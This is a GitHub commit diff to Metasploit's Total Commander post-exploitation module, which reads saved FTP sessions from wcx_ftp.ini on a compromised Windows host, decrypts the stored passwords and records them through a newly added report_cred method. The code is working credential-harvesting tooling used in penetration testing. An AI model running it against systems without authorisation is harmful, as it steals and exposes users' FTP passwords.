Skip to content

Commit 57b7d10

Browse files
committed
Land rapid7#5449, @wchen-r7 updates total_commander to use the new cred API
2 parents 0f4304c + d4f418f commit 57b7d10

File tree

1 file changed

+53
-27
lines changed

1 file changed

+53
-27
lines changed

modules/post/windows/gather/credentials/total_commander.rb

Lines changed: 53 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ def initialize(info={})
3131
end
3232

3333
def run
34-
print_status("Checking Default Locations...")
34+
print_status('Checking Default Locations...')
3535
check_systemroot
3636

3737
grab_user_profiles().each do |user|
@@ -45,25 +45,25 @@ def run
4545
hklmpath = registry_getvaldata(commander_key, 'FtpIniName')
4646
case hklmpath
4747
when nil
48-
print_status("Total Commander Does not Appear to be Installed Globally")
49-
when "wcx_ftp.ini"
48+
print_status('Total Commander Does not Appear to be Installed Globally')
49+
when 'wcx_ftp.ini'
5050
print_status("Already Checked SYSTEMROOT")
51-
when ".\\wcx_ftp.ini"
51+
when '.\\wcx_ftp.ini'
5252
hklminstpath = registry_getvaldata(commander_key, 'InstallDir') || ''
5353
if hklminstpath.empty?
54-
print_error("Unable to find InstallDir in registry, skipping wcx_ftp.ini")
54+
print_error('Unable to find InstallDir in registry, skipping wcx_ftp.ini')
5555
else
5656
check_other(hklminstpath +'\\wcx_ftp.ini')
5757
end
5858
when /APPDATA/
59-
print_status("Already Checked AppData")
59+
print_status('Already Checked AppData')
6060
when /USERPROFILE/
61-
print_status("Already Checked USERPROFILE")
61+
print_status('Already Checked USERPROFILE')
6262
else
6363
check_other(hklmpath)
6464
end
6565

66-
userhives=load_missing_hives()
66+
userhives = load_missing_hives()
6767
userhives.each do |hive|
6868
next if hive['HKU'] == nil
6969
print_status("Looking at Key #{hive['HKU']}")
@@ -72,21 +72,21 @@ def run
7272
print_status("HKUP: #{hkupath}")
7373
case hkupath
7474
when nil
75-
print_status("Total Commander Does not Appear to be Installed on This User")
76-
when "wcx_ftp.ini"
75+
print_status('Total Commander Does not Appear to be Installed on This User')
76+
when 'wcx_ftp.ini'
7777
print_status("Already Checked SYSTEMROOT")
78-
when ".\\wcx_ftp.ini"
78+
when '.\\wcx_ftp.ini'
7979
hklminstpath = registry_getvaldata(profile_commander_key, 'InstallDir') || ''
8080
if hklminstpath.empty?
81-
print_error("Unable to find InstallDir in registry, skipping wcx_ftp.ini")
81+
print_error('Unable to find InstallDir in registry, skipping wcx_ftp.ini')
8282
else
8383
check_other(hklminstpath +'\\wcx_ftp.ini')
8484
end
8585
when /APPDATA/
86-
print_status("Already Checked AppData")
86+
print_status('Already Checked AppData')
8787

8888
when /USERPROFILE/
89-
print_status("Already Checked USERPROFILE")
89+
print_status('Already Checked USERPROFILE')
9090
else
9191
check_other(hkupath)
9292
end
@@ -120,36 +120,62 @@ def check_other(filename)
120120
end
121121
end
122122

123+
def report_cred(opts)
124+
service_data = {
125+
address: opts[:ip],
126+
port: opts[:port],
127+
service_name: opts[:service_name],
128+
protocol: 'tcp',
129+
workspace_id: myworkspace_id
130+
}
131+
132+
credential_data = {
133+
module_fullname: fullname,
134+
post_reference_name: self.refname,
135+
session_id: session_db_id,
136+
origin_type: :session,
137+
private_data: opts[:password],
138+
private_type: :password,
139+
username: opts[:user]
140+
}.merge(service_data)
141+
142+
login_data = {
143+
core: create_credential(credential_data),
144+
status: Metasploit::Model::Login::Status::UNTRIED,
145+
}.merge(service_data)
146+
147+
create_credential_login(login_data)
148+
end
149+
123150
def get_ini(filename)
124151
config = client.fs.file.new(filename,'r')
125152
parse = config.read
126153
ini=Rex::Parser::Ini.from_s(parse)
127154

128155
ini.each_key do |group|
129-
next if group=="General" or group == "default" or group=="connections"
156+
next if group == 'General' or group == 'default' or group == 'connections'
130157
print_status("Processing Saved Session #{group}")
131158
host = ini[group]['host']
132159

133160
username = ini[group]['username']
134161
passwd = ini[group]['password']
135-
next if passwd==nil
162+
next if passwd == nil
136163
passwd = decrypt(passwd)
137164
(host,port) = host.split(':')
138-
port=21 if port==nil
165+
port = 21 if port == nil
139166
print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")
140167
if session.db_record
141168
source_id = session.db_record.id
142169
else
143170
source_id = nil
144171
end
145-
report_auth_info(
146-
:host => host,
147-
:port => port,
148-
:sname => 'ftp',
149-
:source_id => source_id,
150-
:source_type => "exploit",
151-
:user => username,
152-
:pass => passwd
172+
173+
report_cred(
174+
ip: host,
175+
port: port,
176+
service_name: 'ftp',
177+
user: username,
178+
password: passwd
153179
)
154180
end
155181
end
@@ -188,7 +214,7 @@ def decrypt(pwd)
188214
b=seed(len)
189215
t=pwd3[a]
190216
pwd3[a] = pwd3[b]
191-
pwd3[b]=t
217+
pwd3[b] = t
192218
end
193219

194220

@@ -205,7 +231,7 @@ def decrypt(pwd)
205231
end
206232

207233

208-
fpwd=""
234+
fpwd = ""
209235
pwd3[0,len].map{|a| fpwd << a.chr}
210236
return fpwd
211237

0 commit comments

Comments
 (0)